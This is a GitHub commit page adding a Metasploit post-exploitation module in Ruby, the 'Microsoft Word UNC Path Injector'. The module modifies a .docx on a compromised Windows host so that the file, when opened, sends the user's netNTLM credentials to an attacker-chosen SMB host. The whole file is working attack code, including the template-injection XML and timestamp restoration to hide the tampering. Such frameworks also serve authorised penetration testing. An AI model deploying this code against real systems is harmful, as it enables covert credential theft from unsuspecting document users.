Skip to content

Commit ed23fe6

Browse files
author
jvazquez-r7
committed
Merge branch 'post-word_unc_injector.rb' of https://github.com/SphaZ/metasploit-framework into SphaZ-post-word_unc_injector.rb
2 parents 7c9a65f + 2da3deb commit ed23fe6

File tree

1 file changed

+232
-0
lines changed

1 file changed

+232
-0
lines changed
Lines changed: 232 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,232 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://Metasploit.com/projects/Framework/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/post/file'
10+
require 'zip/zip' #for extracting files
11+
require 'rex/zip' #for creating files
12+
require 'msf/core/post/windows/priv'
13+
14+
class Metasploit3 < Msf::Post
15+
16+
include Msf::Post::File
17+
include Msf::Post::Windows::Priv
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'Microsoft Word UNC Path Injector',
22+
'Description' => %q{
23+
This module modifies a remote .docx file that will, upon opening, submit
24+
stored netNTLM credentials to a remote host. Verified to work with Microsoft
25+
Word 2003, 2007 and 2010 as of January 2013. In order to get the hashes
26+
the auxiliary/server/capture/smb module can be used.
27+
},
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
[ 'URL', 'http://jedicorp.com/?p=534' ]
32+
],
33+
'Platform' => ['win'],
34+
'SessionTypes' => ['meterpreter'],
35+
'Author' =>
36+
[
37+
'SphaZ <cyberphaz[at]gmail.com>'
38+
]
39+
))
40+
41+
register_options(
42+
[
43+
OptAddress.new('SMBHOST',[true, 'Server IP or hostname that the .docx document points to']),
44+
OptString.new('FILE', [true, 'Remote file to inject UNC path into. ']),
45+
OptBool.new('BACKUP', [true, 'Make local backup of remote file.', true]),
46+
], self.class)
47+
end
48+
49+
#Store MACE values so we can set them later again.
50+
def get_mace
51+
begin
52+
mace = session.priv.fs.get_file_mace(datastore['FILE'])
53+
vprint_status("Got file MACE attributes!")
54+
rescue
55+
print_error("Error getting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!")
56+
end
57+
return mace
58+
end
59+
60+
#here we unzip into memory, inject our UNC path, store it in a temp file and
61+
#return the modified zipfile name for upload
62+
def manipulate_file(zipfile)
63+
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
64+
65+
rels_file_data = ""
66+
rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>"
67+
rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">"
68+
rels_file_data << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/"
69+
rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['SMBHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
70+
71+
zip_data = unzip_docx(zipfile)
72+
if zip_data.nil?
73+
return nil
74+
end
75+
76+
#file to check for reference file we need
77+
file_content = zip_data["word/settings.xml"]
78+
if file_content.nil?
79+
print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.")
80+
return nil
81+
end
82+
83+
#if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
84+
if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?
85+
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
86+
zip_data["word/_rels/settings.xml.rels"] = rels_file_data
87+
return zip_docx(zip_data)
88+
else
89+
#now insert the reference to the file that will enable our malicious entry
90+
insert_one = file_content.index("<w:defaultTabStop")
91+
92+
if insert_one.nil?
93+
insert_two = file_content.index("<w:hyphenationZone") # 2nd choice
94+
if not insert_two.nil?
95+
vprint_status("HypenationZone found, we use this for insertion.")
96+
file_content.insert(insert_two, ref )
97+
end
98+
else
99+
vprint_status("DefaultTabStop found, we use this for insertion.")
100+
file_content.insert(insert_one, ref )
101+
end
102+
103+
if insert_one.nil? && insert_two.nil?
104+
print_error("Cannot find insert point for reference into settings.xml")
105+
return nil
106+
end
107+
108+
#update the files that contain the injection and reference
109+
zip_data["word/settings.xml"] = file_content
110+
zip_data["word/_rels/settings.xml.rels"] = rels_file_data
111+
return zip_docx(zip_data)
112+
end
113+
end
114+
115+
#RubyZip sometimes corrupts the document when manipulating inside a
116+
#compressed document, so we extract it with Zip::ZipFile into memory
117+
def unzip_docx(zipfile)
118+
vprint_status("Extracting #{datastore['FILE']} into memory.")
119+
zip_data = Hash.new
120+
begin
121+
Zip::ZipFile.open(zipfile) do |filezip|
122+
filezip.each do |entry|
123+
zip_data[entry.name] = filezip.read(entry)
124+
end
125+
end
126+
rescue Zip::ZipError => e
127+
print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.")
128+
return nil
129+
end
130+
return zip_data
131+
end
132+
133+
#making the actual docx
134+
def zip_docx(zip_data)
135+
docx = Rex::Zip::Archive.new
136+
zip_data.each_pair do |k,v|
137+
docx.add_file(k,v)
138+
end
139+
return docx.pack
140+
end
141+
142+
#We try put the mace values back to that of the original file
143+
def set_mace(mace)
144+
if not mace.nil?
145+
vprint_status("Setting MACE value of #{datastore['FILE']} set to that of the original file.")
146+
begin
147+
session.priv.fs.set_file_mace(datastore['FILE'], mace["Modified"], mace["Accessed"], mace["Created"], mace["Entry Modified"])
148+
rescue
149+
print_error("Error setting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!")
150+
end
151+
end
152+
end
153+
154+
def rhost
155+
client.sock.peerhost
156+
end
157+
158+
def run
159+
160+
#sadly OptPath does not work, so we check manually if it exists
161+
if !file_exist?(datastore['FILE'])
162+
print_error("Remote file does not exist!")
163+
return
164+
end
165+
166+
#get mace values so we can put them back after uploading. We do this first, so we have the original
167+
#accessed time too.
168+
file_mace = get_mace
169+
170+
#download the remote file
171+
print_status("Downloading remote file #{datastore['FILE']}.")
172+
org_file_data = read_file(datastore['FILE'])
173+
174+
#store the original file because we need to unzip from disk because there is no memory unzip
175+
if datastore['BACKUP']
176+
#logs_dir = ::File.join(Msf::Config.local_directory, 'unc_injector_backup')
177+
#FileUtils.mkdir_p(logs_dir)
178+
#@org_file = logs_dir + File::Separator + datastore['FILE'].split('\\').last
179+
@org_file = store_loot(
180+
"host.word_unc_injector.changedfiles",
181+
"application/vnd.openxmlformats-officedocument.wordprocessingml.document",
182+
rhost,
183+
org_file_data,
184+
datastore['FILE'],
185+
)
186+
print_status("Local backup kept at #{@org_file}")
187+
#Store information in note database so its obvious what we changed, were we stored the backup file..
188+
note_string ="Remote file #{datastore['FILE']} contains UNC path to #{datastore['SMBHOST']}. "
189+
note_string += " Local backup of file at #{@org_file}."
190+
report_note(
191+
:host => session.session_host,
192+
:type => "host.word_unc_injector.changedfiles",
193+
:data => {
194+
:session_num => session.sid,
195+
:stype => session.type,
196+
:desc => session.info,
197+
:platform => session.platform,
198+
:via_payload => session.via_payload,
199+
:via_exploit => session.via_exploit,
200+
:created_at => Time.now.utc,
201+
:files_changed => note_string
202+
}
203+
)
204+
else
205+
@org_file = Rex::Quickfile.new('msf_word_unc_injector')
206+
end
207+
208+
vprint_status("Written remote file to #{@org_file}")
209+
File.open(@org_file, 'wb') { |f| f.write(org_file_data)}
210+
211+
#Unzip, insert our UNC path, zip and return the data of the modified file for upload
212+
injected_file = manipulate_file(@org_file)
213+
if injected_file.nil?
214+
return
215+
end
216+
217+
#upload the injected file
218+
write_file(datastore['FILE'], injected_file)
219+
print_status("Uploaded injected file.")
220+
221+
#set mace values back to that of original
222+
set_mace(file_mace)
223+
224+
#remove tmpfile if no backup is desired
225+
if not datastore['BACKUP']
226+
@org_file.close
227+
@org_file.unlink rescue nil # Windows often complains about unlinking tempfiles
228+
end
229+
230+
print_good("Done! Remote file #{datastore['FILE']} succesfully injected to point to #{datastore['SMBHOST']}")
231+
end
232+
end

0 commit comments

Comments
 (0)